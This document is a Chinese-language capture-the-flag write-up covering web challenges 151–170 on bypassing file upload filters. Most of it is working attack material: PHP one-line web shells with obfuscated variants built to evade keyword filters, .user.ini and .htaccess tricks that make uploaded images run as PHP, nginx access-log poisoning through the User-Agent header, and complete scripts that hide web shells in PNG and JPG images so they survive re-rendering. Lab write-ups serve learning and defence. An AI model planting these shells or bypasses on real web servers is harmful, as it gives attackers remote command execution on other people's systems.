web151 152
抓包上传png文件,在bp中修改一下改为php文件之后上传就可以执行命令
web153
打开源码发现不能上传php文件
在这里使用.user.ini文件,在这里介绍一下.user.ini文件,它是一个配置文件
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
//filename是你自己的文件名
为了利用auto_append_file,我们首先上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名,接着上传一个带木马的图片
因为upload有index.php,所以这个php就会添加一个include(“shell.png”),就会包含到木马,这样就在每个php文件上包含了我们的木马文件。
文件内容
.user.ini.png
内容: auto_prepend_file="shell.png"
shell.png
<?php @eval($_POST['shell']);?>
先上传.user.ini.png文件并且抓包,修改.user.ini.png文件名为.user.ini并且放包,发现上传成功,之后在上传shell.png,上传成功之后就访问url/upload然后就可以命令执行或者连接蚁剑
web154
和web153做法相似就过滤了一句话木马的一些东西,直接改一下就行
<?= @eval($_POST[1]);?>
用这个一句话木马就行,其他的都一样
web155
同154
web156
过滤了[]就用{}绕过
一句话木马改一下
<?=eval($_POST{1});?>
web157,158
在上面的标准之上又过滤了;,那就直接不用;,直接
<?=system('tac ../f*')?>
在php代码中这样也是可以的
web159
在上面的标准下又过滤了()
直接到命令执行方面了,用反引号绕过
<?= `cat ../flag.*`?>
web160
这道题在上面的基础上又过滤了空格
这里用两种方法,都是文件包含相关的
1.直接包含
就是正常上传.user.ini文件之后在上传.png文件,文件内容为
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
因为正常的php伪协议过滤了一些东西所以必须需要绕过一下
2.使用日志包含
还是先上传.user.ini文件注意文件内容不要含有空格,然后就是上传.png文件,.png文件的内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
然后讲一句话写进user-agent里,再蚁剑连接,获取flag
蚁剑连接
url+upload/index.php
web161
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
这道题对图片的文件头进行了检测!
所以在上题的基础上都加个 GIF89a 图片头就可以了
.user.ini也得加,图片也得加,上题的两种方法都可以
web162
. 和 flag被过滤了,
看了 wp 才知道考察的是 session 文件包含 + 条件竞争,之后在补充
web163
同上
web164
png图片二次渲染
绕过png二次渲染的脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
------------------------------------
创建1.png图片成功!
------------------------------------
web165
jpg二次渲染
绕过jpg二叉渲染的脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
web166
查看源码,可以发现就可以发现只能上传zip文件
上传zip文件,zip文件的内容为一句话木马,上传之后,看到可以下载这个文件,点击下载并且抓包,发现抓包之后,zip的名字改了,用改之后的名字,访问并且访问,POST命令执行,或者用蚁剑连接
web167
只能上传jpg文件,在这里又要介绍一种新的配置文件就是.htaccess
内容为
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件
上传一个jpg文件并把内容改为以上内容,并且把文件名改为.htaccess,上传发现上传成功,在写一个一句话木马,文件名为jpg上传并且下载,就可以直接命令执行或者直接蚁剑连接
web168
只能上传png文件,尝试后发现过滤了eval,和system,$_POST $_GET等等
那么下面就是别的木马
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令
脚本2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
//a=system&b=tac ../flagaa.php
脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接
//把ls ../换成tac ../flagaa.php即可找到flag
脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可
脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php
上传成功后,会发现直接访问是不行的
所以我们访问的url应该加上/upload/上传的文件名
最后一级一级的尝试
1=ls ../ //可以一级一级的尝试
1=tac ../flagaa.php
web169
这道题就是能上传zip文件,上传一个zip文件并且抓包,抓包之后将
先上传.user.ini文件,内容为auto_append_file=/var/log/nginx/access.log
auto_append_file=/var/log/nginx/access.log
这里是利用nginx日志路径包含
这样就可以往UA里写入一句话了
image/png
上传之后在上传php文件并在UA哪里写一句话木马,之后在上传,注意在这里下载文件会显示404,需要直接访问url/upload/上传php文件名,之后可以进行命令执行或者连接蚁剑
web170
和169基本相同
.user.ini
内容:
GIF89A
auto_append_file=/var/log/nginx/access.log
image/png